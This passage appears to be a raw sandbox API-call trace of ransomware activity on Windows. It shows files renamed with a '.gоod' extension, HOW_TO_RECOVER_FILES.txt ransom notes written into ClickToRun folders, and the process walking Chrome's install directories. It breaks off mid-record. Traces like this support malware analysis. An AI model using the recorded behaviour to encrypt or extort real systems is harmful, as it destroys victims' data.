lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat.gоod")) returned 1 [0087.698] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7b [0087.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0087.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0087.699] GetFileType (hFile=0x79c) returned 0x1 [0087.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0087.699] GetFileType (hFile=0x79c) returned 0x1 [0087.699] WriteFile (in: hFile=0x79c, lpBuffer=0x32317e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x32317e0*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0087.700] CloseHandle (hObject=0x79c) returned 1 [0087.700] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0087.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0087.701] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0087.701] GetFileType (hFile=0x79c) returned 0x1 [0087.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0087.701] GetFileType (hFile=0x79c) returned 0x1 [0087.702] WriteFile (in: hFile=0x79c, lpBuffer=0x32350f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x32350f8*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0087.702] CloseHandle (hObject=0x79c) returned 1 [0087.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0087.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google", lpFilePart=0x0) returned 0x1d [0087.703] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x19640a8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19640a8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.704] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x19640a8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19640a8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.704] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0087.704] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0087.704] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1 [0087.704] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0 [0087.704] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0087.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0087.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0087.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google", lpFilePart=0x0) returned 0x1d [0087.705] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x19640a8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19640a8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.705] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x19640a8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19640a8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.705] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0087.705] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0087.705] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1 [0087.705] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.706] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0087.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0087.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0087.706] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome", lpFilePart=0x0) returned 0x24 [0087.706] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.706] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.706] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0087.707] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0087.707] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0087.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0087.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0087.707] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome", lpFilePart=0x0) returned 0x24 [0087.707] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.707] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.707] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0087.707] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.708] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0087.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0087.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0087.708] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application", lpFilePart=0x0) returned 0x30 [0087.708] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.888] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0087.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0087.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0087.912] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bca716, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4bca716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe050290c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f46e, dwReserved0=0x0, dwReserved1=0x0, cFileName="master_preferences", cAlternateFileName="MASTER~1")) returned 1 [0087.912] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0087.912] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0087.912] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0087.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0087.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0087.912] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application", lpFilePart=0x0) returned 0x30 [0087.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.913] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.913] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0087.913] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0087.913] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0087.913] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bca716, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4bca716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe050290c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f46e, dwReserved0=0x0, dwReserved1=0x0, cFileName="master_preferences", cAlternateFileName="MASTER~1")) returned 1 [0087.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, 